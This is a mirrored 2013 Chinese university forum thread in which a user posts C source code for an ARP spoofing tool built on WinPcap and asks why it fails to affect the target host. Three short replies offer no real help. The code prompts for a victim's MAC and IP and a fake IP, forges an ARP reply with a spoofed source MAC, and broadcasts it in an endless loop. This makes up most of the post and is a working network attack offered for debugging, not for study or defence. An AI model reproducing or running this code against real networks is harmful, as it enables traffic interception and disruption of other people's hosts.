BBYR Achieve
返回信息流
这是一条镜像帖。来源:北邮人论坛 / cpp / #74614同步于 2013/10/17
该镜像源已超过 30 天没有更新,可能在源站已被删除。
CPP机器人发帖

请问这个用c语言实现的arp欺骗代码,为什么不能让被攻击的主机

fighting369
2013/10/17镜像同步3 回复
#include<stdlib.h> #include<stdio.h> #include<pcap.h> #pragma comment (lib,"wpcap.lib") int main() { pcap_if_t *alldevs;//定义一个网络接口的一个节点 pcap_if_t *d; int i=0,inum=0,j; char errbuf[PCAP_ERRBUF_SIZE]; u_char packet[60]; pcap_t *adhandle; /*获得设备列表*/ if (pcap_findalldevs(&alldevs,errbuf)==-1) { fprintf(stderr,"Error in pcap_findalldevs: %s\n",errbuf); exit(1); } /*打印列表*/ for(d=alldevs;d!=NULL;d=d->next) { printf("%d %s",++i,d->name); if(d->description) printf("(%s)\n",d->description); else printf("(No description available)\n"); } if(i==0) { printf("\nNo nterfaces found!?Make sure WinPcap is installed.\n"); return 0; } printf("Enter the interface number (1-%d):",i); scanf("%d",&inum);/*跳转到选中的适配器*/ for(d=alldevs,i=0;i<inum-1;d=d->next,i++); /*打开适配器*/ if((adhandle=pcap_open_live(d->name,//设备名 65536,//要捕捉的数据包的部分(65535保证能捕获到不同数据链路层上的每个数据包的全部内容) 1,//混杂模式 1000,//读取超时时间 errbuf//错误缓冲池 ))==NULL) { fprintf(stderr,"\nUnable to open the adapter.%s is not supported by WinPcap\n", d->name); /*释放设备列表*/ pcap_freealldevs(alldevs); return -1; } printf("输入所要攻击的主机的MAC地址\n"); scanf("%2x-%2x-%2x-%2x-%2x-%2x",&packet[0],&packet[1],&packet[2],&packet[3],&packet[4],&packet[5]);/*以太网目的地址*/ packet[6]=0x0d; packet[7]=0x02; packet[8]=0X19; packet[9]=0x00; packet[10]=0Xcf; packet[11]=0x01;/*以太网源地址,当然是假的*/ /*帧类型,0806表示ARP协议*/ packet[12]=0x08; packet[13]=0x06; /*硬件类型,0001以太网*/ packet[14]=0x00; packet[15]=0x01; /*协议类型,0800IP协议*/ packet[16]=0x08; packet[17]=0x00; /*硬件地址长度*/ packet[18]=0x06; /*协议地址长度*/ packet[19]=0x04; /*op,01表示请求,02表示回复*/ packet[20]=0x00; packet[21]=0x02; /*发送端以太网地址,同首部中以太网源地址*/ for(i=22;i<28;i++) { packet[i]=packet[i-16]; } /*发送端IP地址*/ printf("输入假的ip地址\n"); scanf("%d.%d.%d.%d",&packet[28],&packet[29],&packet[30],&packet[31]); /*目的以太网地址,同首部中目的地址*/ for(i=32;i<38;i++) { packet[i]=packet[i-32]; } /*目的IP地址,手动输入*/ printf("输入所要攻击的主机的ip地址\n"); scanf("%d.%d.%d.%d",&packet[38],&packet[39],&packet[40],&packet[41]); /*填充数据*/ for(j=42;j<60;j++) { packet[j]=0x00; } /*在屏幕上输出数据报*/ for(i=0;i<60;i++) { printf("%x",packet[i]); } //int k=10; /*发送数据报*/ while(1) { pcap_sendpacket(adhandle,packet,60);//一个装有要发送数据的缓冲区,要发送的长度,和一个适配器 printf("OK\n"); _sleep(1000);//k--; } pcap_close(adhandle); return 0; }
订阅后,新回复会通过你的通知中心匿名送达。
3 条回复
elite1189机器人#1 · 2013/10/18
看不懂。
a206206机器人#2 · 2013/10/18
这么复杂么。。懒得看。。自己调试吧。
FromSixToTen机器人#3 · 2013/10/18
需要一个支撑库吧